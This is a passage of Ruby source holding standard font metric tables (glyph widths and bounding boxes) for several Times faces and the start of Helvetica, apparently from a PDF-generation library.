'L' => { wx: 667, boundingbox: [19, 0, 638, 676] }, 'M' => { wx: 944, boundingbox: [14, 0, 921, 676] }, 'N' => { wx: 722, boundingbox: [16, -18, 701, 676] }, 'O' => { wx: 778, boundingbox: [35, -19, 743, 691] }, 'P' => { wx: 611, boundingbox: [16, 0, 600, 676] }, 'Q' => { wx: 778, boundingbox: [35, -176, 743, 691] }, 'R' => { wx: 722, boundingbox: [26, 0, 715, 676] }, 'S' => { wx: 556, boundingbox: [35, -19, 513, 692] }, 'T' => { wx: 667, boundingbox: [31, 0, 636, 676] }, 'U' => { wx: 722, boundingbox: [16, -19, 701, 676] }, 'V' => { wx: 722, boundingbox: [16, -18, 701, 676] }, 'W' => { wx: 1000, boundingbox: [19, -15, 981, 676] }, 'X' => { wx: 722, boundingbox: [16, 0, 699, 676] }, 'Y' => { wx: 722, boundingbox: [15, 0, 699, 676] }, 'Z' => { wx: 667, boundingbox: [28, 0, 634, 676] }, '[' => { wx: 333, boundingbox: [67, -149, 301, 678] }, '\\\\' => { wx: 278, boundingbox: [-25, -19, 303, 691] }, ']' => { wx: 333, boundingbox: [32, -149, 266, 678] }, '^' => { wx: 581, boundingbox: [73, 311, 509, 676] }, '_' => { wx: 500, boundingbox: [0, -125, 500, -75] }, '`' => { wx: 333, boundingbox: [70, 356, 254, 691] }, 'a' => { wx: 500, boundingbox: [25, -14, 488, 473] }, 'b' => { wx: 556, boundingbox: [17, -14, 521, 676] }, 'c' => { wx: 444, boundingbox: [25, -14, 430, 473] }, 'd' => { wx: 556, boundingbox: [25, -14, 534, 676] }, 'e' => { wx: 444, boundingbox: [25, -14, 426, 473] }, 'f' => { wx: 333, boundingbox: [14, 0, 389, 691] }, 'g' => { wx: 500, boundingbox: [28, -206, 483, 473] }, 'h' => { wx: 556, boundingbox: [16, 0, 534, 676] }, 'i' => { wx: 278, boundingbox: [16, 0, 255, 691] }, 'j' => { wx: 333, boundingbox: [-57, -203, 263, 691] }, 'k' => { wx: 556, boundingbox: [22, 0, 543, 676] }, 'l' => { wx: 278, boundingbox: [16, 0, 255, 676] }, 'm' => { wx: 833, boundingbox: [16, 0, 814, 473] }, 'n' => { wx: 556, boundingbox: [21, 0, 539, 473] }, 'o' => { wx: 500, boundingbox: [25, -14, 476, 473] }, 'p' => { wx: 556, boundingbox: [19, -205, 524, 473] }, 'q' => { wx: 556, boundingbox: [34, -205, 536, 473] }, 'r' => { wx: 444, boundingbox: [29, 0, 434, 473] }, 's' => { wx: 389, boundingbox: [25, -14, 361, 473] }, 't' => { wx: 333, boundingbox: [20, -12, 332, 630] }, 'u' => { wx: 556, boundingbox: [16, -14, 537, 461] }, 'v' => { wx: 500, boundingbox: [21, -14, 485, 461] }, 'w' => { wx: 722, boundingbox: [23, -14, 707, 461] }, 'x' => { wx: 500, boundingbox: [12, 0, 484, 461] }, 'y' => { wx: 500, boundingbox: [16, -205, 480, 461] }, 'z' => { wx: 444, boundingbox: [21, 0, 420, 461] }, '{' => { wx: 394, boundingbox: [22, -175, 340, 698] }, '|' => { wx: 220, boundingbox: [66, -218, 154, 782] }, '}' => { wx: 394, boundingbox: [54, -175, 372, 698] }, '~' => { wx: 520, boundingbox: [29, 173, 491, 333] }, \"\\u00A1\" => { wx: 333, boundingbox: [82, -203, 252, 501] }, \"\\u00A2\" => { wx: 500, boundingbox: [53, -140, 458, 588] }, \"\\u00A3\" => { wx: 500, boundingbox: [21, -14, 477, 684] }, \"\\u00A4\" => { wx: 167, boundingbox: [-168, -12, 329, 688] }, \"\\u00A5\" => { wx: 500, boundingbox: [-64, 0, 547, 676] }, \"\\u00A6\" => { wx: 500, boundingbox: [0, -155, 498, 706] }, \"\\u00A7\" => { wx: 500, boundingbox: [57, -132, 443, 691] }, \"\\u00A8\" => { wx: 500, boundingbox: [-26, 61, 526, 613] }, \"\\u00A9\" => { wx: 278, boundingbox: [75, 404, 204, 691] }, \"\\u00AA\" => { wx: 500, boundingbox: [32, 356, 486, 691] }, \"\\u00AB\" => { wx: 500, boundingbox: [23, 36, 473, 415] }, \"\\u00AC\" => { wx: 333, boundingbox: [51, 36, 305, 415] }, \"\\u00AD\" => { wx: 333, boundingbox: [28, 36, 282, 415] }, \"\\u00AE\" => { wx: 556, boundingbox: [14, 0, 536, 691] }, \"\\u00AF\" => { wx: 556, boundingbox: [14, 0, 536, 691] }, \"\\u00B1\" => { wx: 500, boundingbox: [0, 181, 500, 271] }, \"\\u00B2\" => { wx: 500, boundingbox: [47, -134, 453, 691] }, \"\\u00B3\" => { wx: 500, boundingbox: [45, -132, 456, 691] }, \"\\u00B4\" => { wx: 250, boundingbox: [41, 248, 210, 417] }, \"\\u00B6\" => { wx: 540, boundingbox: [0, -186, 519, 676] }, \"\\u00B7\" => { wx: 350, boundingbox: [35, 198, 315, 478] }, \"\\u00B8\" => { wx: 333, boundingbox: [79, -180, 263, 155] }, \"\\u00B9\" => { wx: 500, boundingbox: [14, -180, 468, 155] }, \"\\u00BA\" => { wx: 500, boundingbox: [14, 356, 468, 691] }, \"\\u00BB\" => { wx: 500, boundingbox: [27, 36, 477, 415] }, \"\\u00BC\" => { wx: 1000, boundingbox: [82, -13, 917, 156] }, \"\\u00BD\" => { wx: 1000, boundingbox: [7, -29, 995, 706] }, \"\\u00BF\" => { wx: 500, boundingbox: [55, -201, 443, 501] }, \"\\u00C1\" => { wx: 333, boundingbox: [8, 528, 246, 713] }, \"\\u00C2\" => { wx: 333, boundingbox: [86, 528, 324, 713] }, \"\\u00C3\" => { wx: 333, boundingbox: [-2, 528, 335, 704] }, \"\\u00C4\" => { wx: 333, boundingbox: [-16, 547, 349, 674] }, \"\\u00C5\" => { wx: 333, boundingbox: [1, 565, 331, 637] }, \"\\u00C6\" => { wx: 333, boundingbox: [15, 528, 318, 691] }, \"\\u00C7\" => { wx: 333, boundingbox: [103, 536, 258, 691] }, \"\\u00C8\" => { wx: 333, boundingbox: [-2, 537, 335, 667] }, \"\\u00CA\" => { wx: 333, boundingbox: [60, 527, 273, 740] }, \"\\u00CB\" => { wx: 333, boundingbox: [68, -218, 294, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [-13, 528, 425, 713] }, \"\\u00CE\" => { wx: 333, boundingbox: [90, -193, 319, 24] }, \"\\u00CF\" => { wx: 333, boundingbox: [-2, 528, 335, 704] }, \"\\u00D0\" => { wx: 1000, boundingbox: [0, 181, 1000, 271] }, \"\\u00E1\" => { wx: 1000, boundingbox: [4, 0, 951, 676] }, \"\\u00E3\" => { wx: 300, boundingbox: [-1, 397, 301, 688] }, \"\\u00E8\" => { wx: 667, boundingbox: [19, 0, 638, 676] }, \"\\u00E9\" => { wx: 778, boundingbox: [35, -74, 743, 737] }, \"\\u00EA\" => { wx: 1000, boundingbox: [22, -5, 981, 684] }, \"\\u00EB\" => { wx: 330, boundingbox: [18, 397, 312, 688] }, \"\\u00F1\" => { wx: 722, boundingbox: [33, -14, 693, 473] }, \"\\u00F5\" => { wx: 278, boundingbox: [16, 0, 255, 461] }, \"\\u00F8\" => { wx: 278, boundingbox: [-22, 0, 303, 676] }, \"\\u00F9\" => { wx: 500, boundingbox: [25, -92, 476, 549] }, \"\\u00FA\" => { wx: 722, boundingbox: [22, -14, 696, 473] }, \"\\u00FB\" => { wx: 556, boundingbox: [19, -12, 517, 691] }, \"\\xFF\" => { wx: 500, boundingbox: [0, 0, 0, 0] } }\n times_italic_metrics = { ' ' => { wx: 250, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 333, boundingbox: [39, -11, 302, 667] }, '\"' => { wx: 420, boundingbox: [144, 421, 432, 666] }, '#' => { wx: 500, boundingbox: [2, 0, 540, 676] }, '$' => { wx: 500, boundingbox: [31, -89, 497, 731] }, '%' => { wx: 833, boundingbox: [79, -13, 790, 676] }, '&' => { wx: 778, boundingbox: [76, -18, 723, 666] }, \"'\" => { wx: 333, boundingbox: [151, 436, 290, 666] }, '(' => { wx: 333, boundingbox: [42, -181, 315, 669] }, ')' => { wx: 333, boundingbox: [16, -180, 289, 669] }, '*' => { wx: 500, boundingbox: [128, 255, 492, 666] }, '+' => { wx: 675, boundingbox: [86, 0, 590, 506] }, ',' => { wx: 250, boundingbox: [-4, -129, 135, 101] }, '-' => { wx: 333, boundingbox: [49, 192, 282, 255] }, '.' => { wx: 250, boundingbox: [27, -11, 138, 100] }, '/' => { wx: 278, boundingbox: [-65, -18, 386, 666] }, '0' => { wx: 500, boundingbox: [32, -7, 497, 676] }, '1' => { wx: 500, boundingbox: [49, 0, 409, 676] }, '2' => { wx: 500, boundingbox: [12, 0, 452, 676] }, '3' => { wx: 500, boundingbox: [15, -7, 465, 676] }, '4' => { wx: 500, boundingbox: [1, 0, 479, 676] }, '5' => { wx: 500, boundingbox: [15, -7, 491, 666] }, '6' => { wx: 500, boundingbox: [30, -7, 521, 686] }, '7' => { wx: 500, boundingbox: [75, -8, 537, 666] }, '8' => { wx: 500, boundingbox: [30, -7, 493, 676] }, '9' => { wx: 500, boundingbox: [23, -17, 492, 676] }, ':' => { wx: 333, boundingbox: [50, -11, 261, 441] }, ';' => { wx: 333, boundingbox: [27, -129, 261, 441] }, '<' => { wx: 675, boundingbox: [84, -8, 592, 514] }, '=' => { wx: 675, boundingbox: [86, 120, 590, 386] }, '>' => { wx: 675, boundingbox: [84, -8, 592, 514] }, '?' => { wx: 500, boundingbox: [132, -12, 472, 664] }, '@' => { wx: 920, boundingbox: [118, -18, 806, 666] }, 'A' => { wx: 611, boundingbox: [-51, 0, 564, 668] }, 'B' => { wx: 611, boundingbox: [-8, 0, 588, 653] }, 'C' => { wx: 667, boundingbox: [66, -18, 689, 666] }, 'D' => { wx: 722, boundingbox: [-8, 0, 700, 653] }, 'E' => { wx: 611, boundingbox: [-1, 0, 634, 653] }, 'F' => { wx: 611, boundingbox: [8, 0, 645, 653] }, 'G' => { wx: 722, boundingbox: [52, -18, 722, 666] }, 'H' => { wx: 722, boundingbox: [-8, 0, 767, 653] }, 'I' => { wx: 333, boundingbox: [-8, 0, 384, 653] }, 'J' => { wx: 444, boundingbox: [-6, -18, 491, 653] }, 'K' => { wx: 667, boundingbox: [7, 0, 722, 653] }, 'L' => { wx: 556, boundingbox: [-8, 0, 559, 653] }, 'M' => { wx: 833, boundingbox: [-18, 0, 873, 653] }, 'N' => { wx: 667, boundingbox: [-20, -15, 727, 653] }, 'O' => { wx: 722, boundingbox: [60, -18, 699, 666] }, 'P' => { wx: 611, boundingbox: [0, 0, 605, 653] }, 'Q' => { wx: 722, boundingbox: [59, -182, 699, 666] }, 'R' => { wx: 611, boundingbox: [-13, 0, 588, 653] }, 'S' => { wx: 500, boundingbox: [17, -18, 508, 667] }, 'T' => { wx: 556, boundingbox: [59, 0, 633, 653] }, 'U' => { wx: 722, boundingbox: [102, -18, 765, 653] }, 'V' => { wx: 611, boundingbox: [76, -18, 688, 653] }, 'W' => { wx: 833, boundingbox: [71, -18, 906, 653] }, 'X' => { wx: 611, boundingbox: [-29, 0, 655, 653] }, 'Y' => { wx: 556, boundingbox: [78, 0, 633, 653] }, 'Z' => { wx: 556, boundingbox: [-6, 0, 606, 653] }, '[' => { wx: 389, boundingbox: [21, -153, 391, 663] }, '\\\\' => { wx: 278, boundingbox: [-41, -18, 319, 666] }, ']' => { wx: 389, boundingbox: [12, -153, 382, 663] }, '^' => { wx: 422, boundingbox: [0, 301, 422, 666] }, '_' => { wx: 500, boundingbox: [0, -125, 500, -75] }, '`' => { wx: 333, boundingbox: [171, 436, 310, 666] }, 'a' => { wx: 500, boundingbox: [17, -11, 476, 441] }, 'b' => { wx: 500, boundingbox: [23, -11, 473, 683] }, 'c' => { wx: 444, boundingbox: [30, -11, 425, 441] }, 'd' => { wx: 500, boundingbox: [15, -13, 527, 683] }, 'e' => { wx: 444, boundingbox: [31, -11, 412, 441] }, 'f' => { wx: 278, boundingbox: [-147, -207, 424, 678] }, 'g' => { wx: 500, boundingbox: [8, -206, 472, 441] }, 'h' => { wx: 500, boundingbox: [19, -9, 478, 683] }, 'i' => { wx: 278, boundingbox: [49, -11, 264, 654] }, 'j' => { wx: 278, boundingbox: [-124, -207, 276, 654] }, 'k' => { wx: 444, boundingbox: [14, -11, 461, 683] }, 'l' => { wx: 278, boundingbox: [41, -11, 279, 683] }, 'm' => { wx: 722, boundingbox: [12, -9, 704, 441] }, 'n' => { wx: 500, boundingbox: [14, -9, 474, 441] }, 'o' => { wx: 500, boundingbox: [27, -11, 468, 441] }, 'p' => { wx: 500, boundingbox: [-75, -205, 469, 441] }, 'q' => { wx: 500, boundingbox: [25, -209, 483, 441] }, 'r' => { wx: 389, boundingbox: [45, 0, 412, 441] }, 's' => { wx: 389, boundingbox: [16, -13, 366, 442] }, 't' => { wx: 278, boundingbox: [37, -11, 296, 546] }, 'u' => { wx: 500, boundingbox: [42, -11, 475, 441] }, 'v' => { wx: 444, boundingbox: [21, -18, 426, 441] }, 'w' => { wx: 667, boundingbox: [16, -18, 648, 441] }, 'x' => { wx: 444, boundingbox: [-27, -11, 447, 441] }, 'y' => { wx: 444, boundingbox: [-24, -206, 426, 441] }, 'z' => { wx: 389, boundingbox: [-2, -81, 380, 428] }, '{' => { wx: 400, boundingbox: [51, -177, 407, 687] }, '|' => { wx: 275, boundingbox: [105, -217, 171, 783] }, '}' => { wx: 400, boundingbox: [-7, -177, 349, 687] }, '~' => { wx: 541, boundingbox: [40, 183, 502, 323] }, \"\\u00A1\" => { wx: 389, boundingbox: [59, -205, 322, 473] }, \"\\u00A2\" => { wx: 500, boundingbox: [77, -143, 472, 560] }, \"\\u00A3\" => { wx: 500, boundingbox: [10, -6, 517, 670] }, \"\\u00A4\" => { wx: 167, boundingbox: [-169, -10, 337, 676] }, \"\\u00A5\" => { wx: 500, boundingbox: [27, 0, 603, 653] }, \"\\u00A6\" => { wx: 500, boundingbox: [25, -182, 507, 682] }, \"\\u00A7\" => { wx: 500, boundingbox: [53, -162, 461, 666] }, \"\\u00A8\" => { wx: 500, boundingbox: [-22, 53, 522, 597] }, \"\\u00A9\" => { wx: 214, boundingbox: [132, 421, 241, 666] }, \"\\u00AA\" => { wx: 556, boundingbox: [166, 436, 514, 666] }, \"\\u00AB\" => { wx: 500, boundingbox: [53, 37, 445, 403] }, \"\\u00AC\" => { wx: 333, boundingbox: [51, 37, 281, 403] }, \"\\u00AD\" => { wx: 333, boundingbox: [52, 37, 282, 403] }, \"\\u00AE\" => { wx: 500, boundingbox: [-141, -207, 481, 681] }, \"\\u00AF\" => { wx: 500, boundingbox: [-141, -204, 518, 682] }, \"\\u00B1\" => { wx: 500, boundingbox: [-6, 197, 505, 243] }, \"\\u00B2\" => { wx: 500, boundingbox: [101, -159, 488, 666] }, \"\\u00B3\" => { wx: 500, boundingbox: [22, -143, 491, 666] }, \"\\u00B4\" => { wx: 250, boundingbox: [70, 199, 181, 310] }, \"\\u00B6\" => { wx: 523, boundingbox: [55, -123, 616, 653] }, \"\\u00B7\" => { wx: 350, boundingbox: [40, 191, 310, 461] }, \"\\u00B8\" => { wx: 333, boundingbox: [44, -129, 183, 101] }, \"\\u00B9\" => { wx: 556, boundingbox: [57, -129, 405, 101] }, \"\\u00BA\" => { wx: 556, boundingbox: [151, 436, 499, 666] }, \"\\u00BB\" => { wx: 500, boundingbox: [55, 37, 447, 403] }, \"\\u00BC\" => { wx: 889, boundingbox: [57, -11, 762, 100] }, \"\\u00BD\" => { wx: 1000, boundingbox: [25, -19, 1010, 706] }, \"\\u00BF\" => { wx: 500, boundingbox: [28, -205, 368, 471] }, \"\\u00C1\" => { wx: 333, boundingbox: [121, 492, 311, 664] }, \"\\u00C2\" => { wx: 333, boundingbox: [180, 494, 403, 664] }, \"\\u00C3\" => { wx: 333, boundingbox: [91, 492, 385, 661] }, \"\\u00C4\" => { wx: 333, boundingbox: [100, 517, 427, 624] }, \"\\u00C5\" => { wx: 333, boundingbox: [99, 532, 411, 583] }, \"\\u00C6\" => { wx: 333, boundingbox: [117, 492, 418, 650] }, \"\\u00C7\" => { wx: 333, boundingbox: [207, 548, 305, 646] }, \"\\u00C8\" => { wx: 333, boundingbox: [107, 548, 405, 646] }, \"\\u00CA\" => { wx: 333, boundingbox: [155, 492, 355, 691] }, \"\\u00CB\" => { wx: 333, boundingbox: [-30, -217, 182, 0] }, \"\\u00CD\" => { wx: 333, boundingbox: [93, 494, 486, 664] }, \"\\u00CE\" => { wx: 333, boundingbox: [20, -169, 203, 40] }, \"\\u00CF\" => { wx: 333, boundingbox: [121, 492, 426, 661] }, \"\\u00D0\" => { wx: 889, boundingbox: [-6, 197, 894, 243] }, \"\\u00E1\" => { wx: 889, boundingbox: [-27, 0, 911, 653] }, \"\\u00E3\" => { wx: 276, boundingbox: [42, 406, 352, 676] }, \"\\u00E8\" => { wx: 556, boundingbox: [-8, 0, 559, 653] }, \"\\u00E9\" => { wx: 722, boundingbox: [60, -105, 699, 722] }, \"\\u00EA\" => { wx: 944, boundingbox: [49, -8, 964, 666] }, \"\\u00EB\" => { wx: 310, boundingbox: [67, 406, 362, 676] }, \"\\u00F1\" => { wx: 667, boundingbox: [23, -11, 640, 441] }, \"\\u00F5\" => { wx: 278, boundingbox: [49, -11, 235, 441] }, \"\\u00F8\" => { wx: 278, boundingbox: [41, -11, 312, 683] }, \"\\u00F9\" => { wx: 500, boundingbox: [28, -135, 469, 554] }, \"\\u00FA\" => { wx: 667, boundingbox: [20, -12, 646, 441] }, \"\\u00FB\" => { wx: 500, boundingbox: [-168, -207, 493, 679] }, \"\\xFF\" => { wx: 500, boundingbox: [0, 0, 0, 0] } }\n times_bolditalic_metrics = { ' ' => { wx: 250, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 389, boundingbox: [67, -13, 370, 684] }, '\"' => { wx: 555, boundingbox: [136, 398, 536, 685] }, '#' => { wx: 500, boundingbox: [-33, 0, 533, 700] }, '$' => { wx: 500, boundingbox: [-20, -100, 497, 733] }, '%' => { wx: 833, boundingbox: [39, -10, 793, 692] }, '&' => { wx: 778, boundingbox: [5, -19, 699, 682] }, \"'\" => { wx: 333, boundingbox: [98, 369, 302, 685] }, '(' => { wx: 333, boundingbox: [28, -179, 344, 685] }, ')' => { wx: 333, boundingbox: [-44, -179, 271, 685] }, '*' => { wx: 500, boundingbox: [65, 249, 456, 685] }, '+' => { wx: 570, boundingbox: [33, 0, 537, 506] }, ',' => { wx: 250, boundingbox: [-60, -182, 144, 134] }, '-' => { wx: 333, boundingbox: [2, 166, 271, 282] }, '.' => { wx: 250, boundingbox: [-9, -13, 139, 135] }, '/' => { wx: 278, boundingbox: [-64, -18, 342, 685] }, '0' => { wx: 500, boundingbox: [17, -14, 477, 683] }, '1' => { wx: 500, boundingbox: [5, 0, 419, 683] }, '2' => { wx: 500, boundingbox: [-27, 0, 446, 683] }, '3' => { wx: 500, boundingbox: [-15, -13, 450, 683] }, '4' => { wx: 500, boundingbox: [-15, 0, 503, 683] }, '5' => { wx: 500, boundingbox: [-11, -13, 487, 669] }, '6' => { wx: 500, boundingbox: [23, -15, 509, 679] }, '7' => { wx: 500, boundingbox: [52, 0, 525, 669] }, '8' => { wx: 500, boundingbox: [3, -13, 476, 683] }, '9' => { wx: 500, boundingbox: [-12, -10, 475, 683] }, ':' => { wx: 333, boundingbox: [23, -13, 264, 459] }, ';' => { wx: 333, boundingbox: [-25, -183, 264, 459] }, '<' => { wx: 570, boundingbox: [31, -8, 539, 514] }, '=' => { wx: 570, boundingbox: [33, 107, 537, 399] }, '>' => { wx: 570, boundingbox: [31, -8, 539, 514] }, '?' => { wx: 500, boundingbox: [79, -13, 470, 684] }, '@' => { wx: 832, boundingbox: [63, -18, 770, 685] }, 'A' => { wx: 667, boundingbox: [-67, 0, 593, 683] }, 'B' => { wx: 667, boundingbox: [-24, 0, 624, 669] }, 'C' => { wx: 667, boundingbox: [32, -18, 677, 685] }, 'D' => { wx: 722, boundingbox: [-46, 0, 685, 669] }, 'E' => { wx: 667, boundingbox: [-27, 0, 653, 669] }, 'F' => { wx: 667, boundingbox: [-13, 0, 660, 669] }, 'G' => { wx: 722, boundingbox: [21, -18, 706, 685] }, 'H' => { wx: 778, boundingbox: [-24, 0, 799, 669] }, 'I' => { wx: 389, boundingbox: [-32, 0, 406, 669] }, 'J' => { wx: 500, boundingbox: [-46, -99, 524, 669] }, 'K' => { wx: 667, boundingbox: [-21, 0, 702, 669] }, 'L' => { wx: 611, boundingbox: [-22, 0, 590, 669] }, 'M' => { wx: 889, boundingbox: [-29, -12, 917, 669] }, 'N' => { wx: 722, boundingbox: [-27, -15, 748, 669] }, 'O' => { wx: 722, boundingbox: [27, -18, 691, 685] }, 'P' => { wx: 611, boundingbox: [-27, 0, 613, 669] }, 'Q' => { wx: 722, boundingbox: [27, -208, 691, 685] }, 'R' => { wx: 667, boundingbox: [-29, 0, 623, 669] }, 'S' => { wx: 556, boundingbox: [2, -18, 526, 685] }, 'T' => { wx: 611, boundingbox: [50, 0, 650, 669] }, 'U' => { wx: 722, boundingbox: [67, -18, 744, 669] }, 'V' => { wx: 667, boundingbox: [65, -18, 715, 669] }, 'W' => { wx: 889, boundingbox: [65, -18, 940, 669] }, 'X' => { wx: 667, boundingbox: [-24, 0, 694, 669] }, 'Y' => { wx: 611, boundingbox: [73, 0, 659, 669] }, 'Z' => { wx: 611, boundingbox: [-11, 0, 590, 669] }, '[' => { wx: 333, boundingbox: [-37, -159, 362, 674] }, '\\\\' => { wx: 278, boundingbox: [-1, -18, 279, 685] }, ']' => { wx: 333, boundingbox: [-56, -157, 343, 674] }, '^' => { wx: 570, boundingbox: [67, 304, 503, 669] }, '_' => { wx: 500, boundingbox: [0, -125, 500, -75] }, '`' => { wx: 333, boundingbox: [128, 369, 332, 685] }, 'a' => { wx: 500, boundingbox: [-21, -14, 455, 462] }, 'b' => { wx: 500, boundingbox: [-14, -13, 444, 699] }, 'c' => { wx: 444, boundingbox: [-5, -13, 392, 462] }, 'd' => { wx: 500, boundingbox: [-21, -13, 517, 699] }, 'e' => { wx: 444, boundingbox: [5, -13, 398, 462] }, 'f' => { wx: 333, boundingbox: [-169, -205, 446, 698] }, 'g' => { wx: 500, boundingbox: [-52, -203, 478, 462] }, 'h' => { wx: 556, boundingbox: [-13, -9, 498, 699] }, 'i' => { wx: 278, boundingbox: [2, -9, 263, 684] }, 'j' => { wx: 278, boundingbox: [-189, -207, 279, 684] }, 'k' => { wx: 500, boundingbox: [-23, -8, 483, 699] }, 'l' => { wx: 278, boundingbox: [2, -9, 290, 699] }, 'm' => { wx: 778, boundingbox: [-14, -9, 722, 462] }, 'n' => { wx: 556, boundingbox: [-6, -9, 493, 462] }, 'o' => { wx: 500, boundingbox: [-3, -13, 441, 462] }, 'p' => { wx: 500, boundingbox: [-120, -205, 446, 462] }, 'q' => { wx: 500, boundingbox: [1, -205, 471, 462] }, 'r' => { wx: 389, boundingbox: [-21, 0, 389, 462] }, 's' => { wx: 389, boundingbox: [-19, -13, 333, 462] }, 't' => { wx: 278, boundingbox: [-11, -9, 281, 594] }, 'u' => { wx: 556, boundingbox: [15, -9, 492, 462] }, 'v' => { wx: 444, boundingbox: [16, -13, 401, 462] }, 'w' => { wx: 667, boundingbox: [16, -13, 614, 462] }, 'x' => { wx: 500, boundingbox: [-46, -13, 469, 462] }, 'y' => { wx: 444, boundingbox: [-94, -205, 392, 462] }, 'z' => { wx: 389, boundingbox: [-43, -78, 368, 449] }, '{' => { wx: 348, boundingbox: [5, -187, 436, 686] }, '|' => { wx: 220, boundingbox: [66, -218, 154, 782] }, '}' => { wx: 348, boundingbox: [-129, -187, 302, 686] }, '~' => { wx: 570, boundingbox: [54, 173, 516, 333] }, \"\\u00A1\" => { wx: 389, boundingbox: [19, -205, 322, 492] }, \"\\u00A2\" => { wx: 500, boundingbox: [42, -143, 439, 576] }, \"\\u00A3\" => { wx: 500, boundingbox: [-32, -12, 510, 683] }, \"\\u00A4\" => { wx: 167, boundingbox: [-169, -14, 324, 683] }, \"\\u00A5\" => { wx: 500, boundingbox: [33, 0, 628, 669] }, \"\\u00A6\" => { wx: 500, boundingbox: [-87, -156, 537, 707] }, \"\\u00A7\" => { wx: 500, boundingbox: [36, -143, 459, 685] }, \"\\u00A8\" => { wx: 500, boundingbox: [-26, 34, 526, 586] }, \"\\u00A9\" => { wx: 278, boundingbox: [128, 398, 268, 685] }, \"\\u00AA\" => { wx: 500, boundingbox: [53, 369, 513, 685] }, \"\\u00AB\" => { wx: 500, boundingbox: [12, 32, 468, 415] }, \"\\u00AC\" => { wx: 333, boundingbox: [32, 32, 303, 415] }, \"\\u00AD\" => { wx: 333, boundingbox: [10, 32, 281, 415] }, \"\\u00AE\" => { wx: 556, boundingbox: [-188, -205, 514, 703] }, \"\\u00AF\" => { wx: 556, boundingbox: [-186, -205, 553, 704] }, \"\\u00B1\" => { wx: 500, boundingbox: [-40, 178, 477, 269] }, \"\\u00B2\" => { wx: 500, boundingbox: [91, -145, 494, 685] }, \"\\u00B3\" => { wx: 500, boundingbox: [10, -139, 493, 685] }, \"\\u00B4\" => { wx: 250, boundingbox: [51, 257, 199, 405] }, \"\\u00B6\" => { wx: 500, boundingbox: [-57, -193, 562, 669] }, \"\\u00B7\" => { wx: 350, boundingbox: [0, 175, 350, 525] }, \"\\u00B8\" => { wx: 333, boundingbox: [-5, -182, 199, 134] }, \"\\u00B9\" => { wx: 500, boundingbox: [-57, -182, 403, 134] }, \"\\u00BA\" => { wx: 500, boundingbox: [53, 369, 513, 685] }, \"\\u00BB\" => { wx: 500, boundingbox: [12, 32, 468, 415] }, \"\\u00BC\" => { wx: 1000, boundingbox: [40, -13, 852, 135] }, \"\\u00BD\" => { wx: 1000, boundingbox: [7, -29, 996, 706] }, \"\\u00BF\" => { wx: 500, boundingbox: [30, -205, 421, 492] }, \"\\u00C1\" => { wx: 333, boundingbox: [85, 516, 297, 697] }, \"\\u00C2\" => { wx: 333, boundingbox: [139, 516, 379, 697] }, \"\\u00C3\" => { wx: 333, boundingbox: [40, 516, 367, 690] }, \"\\u00C4\" => { wx: 333, boundingbox: [48, 536, 407, 655] }, \"\\u00C5\" => { wx: 333, boundingbox: [51, 553, 393, 623] }, \"\\u00C6\" => { wx: 333, boundingbox: [71, 516, 387, 678] }, \"\\u00C7\" => { wx: 333, boundingbox: [163, 550, 298, 684] }, \"\\u00C8\" => { wx: 333, boundingbox: [55, 550, 402, 684] }, \"\\u00CA\" => { wx: 333, boundingbox: [127, 516, 340, 729] }, \"\\u00CB\" => { wx: 333, boundingbox: [-80, -218, 156, 5] }, \"\\u00CD\" => { wx: 333, boundingbox: [69, 516, 498, 697] }, \"\\u00CE\" => { wx: 333, boundingbox: [15, -183, 244, 34] }, \"\\u00CF\" => { wx: 333, boundingbox: [79, 516, 411, 690] }, \"\\u00D0\" => { wx: 1000, boundingbox: [-40, 178, 977, 269] }, \"\\u00E1\" => { wx: 944, boundingbox: [-64, 0, 918, 669] }, \"\\u00E3\" => { wx: 266, boundingbox: [16, 399, 330, 685] }, \"\\u00E8\" => { wx: 611, boundingbox: [-22, 0, 590, 669] }, \"\\u00E9\" => { wx: 722, boundingbox: [27, -125, 691, 764] }, \"\\u00EA\" => { wx: 944, boundingbox: [23, -8, 946, 677] }, \"\\u00EB\" => { wx: 300, boundingbox: [56, 400, 347, 685] }, \"\\u00F1\" => { wx: 722, boundingbox: [-5, -13, 673, 462] }, \"\\u00F5\" => { wx: 278, boundingbox: [2, -9, 238, 462] }, \"\\u00F8\" => { wx: 278, boundingbox: [-7, -9, 307, 699] }, \"\\u00F9\" => { wx: 500, boundingbox: [-3, -119, 441, 560] }, \"\\u00FA\" => { wx: 722, boundingbox: [6, -13, 674, 462] }, \"\\u00FB\" => { wx: 500, boundingbox: [-200, -200, 473, 705] }, \"\\xFF\" => { wx: 500, boundingbox: [0, 0, 0, 0] } }\n helvetica_metrics = { ' ' => { wx: 278, boundingbox: [0, 0, 0, 0] }, '!' => { wx: 278, boundingbox: [90, 0, 187, 718] }, '\"' => { wx: 355, boundingbox: [70, 463, 285, 718] }, '#' => { wx: 556, boundingbox: [28, 0, 529, 688] }, '$' => { wx: 556, boundingbox: [32, -115, 520, 775] }, '%' => { wx: 889, boundingbox: [39, -19, 850, 703] }, '&' => { wx: 667, boundingbox: [44, -15, 645, 718] }, \"'\" => { wx: 222, boundingbox: [53, 463, 157, 718] }, '(' => { wx: 333, boundingbox: [68, -207, 299, 733] }, ')' => { wx: 333, boundingbox: [34, -207, 265, 733] }, '*' => { wx: 389, boundingbox: [39, 431, 349, 718] }, '+' => { wx: 584, boundingbox: [39, 0, 545, 505] }, ',' => { wx: 278, boundingbox: [87, -147, 191, 106] }, '-' => { wx: 333, boundingbox: [44, 232, 289, 322] }, '.' => { wx: 278, boundingbox: [87, 0, 191, 106] }, '/' => { wx: 278, boundingbox: [-17, -19, 295, 737] }, '0' => { wx: 556, boundingbox: [37, -19, 519, 703] }, '1' => { wx: 556, boundingbox: [101, 0, 359, 703] }, '2' => { wx: 556, boundingbox: [26, 0, 507, 703] }, '3' => { wx: 556, boundingbox: [34, -19, 522, 703] }, '4' => { wx: 556, boundingbox: [25, 0, 523, 703] }, '5' => { wx: 556, boundingbox: [32, -19, 514, 688] }, '6' => { wx: 556, boundingbox: [38, -19, 518, 703] }, '7' => { wx: 556, boundingbox: [37, 0, 523, 688] }, '8' => { wx: 556, boundingbox: [38, -19, 517, 703] }, '9' => { wx: 556, boundingbox: [42, -19, 514, 703] }, ':' => { wx: 278, boundingbox: [87, 0, 191, 516] }, ';' => { wx: 278, boundingbox: [87, -147, 191, 516] }, '<' => { wx: 584, boundingbox: [48, 11, 536, 495] }, '=' => { wx: 584, boundingbox: [39, 115, 545, 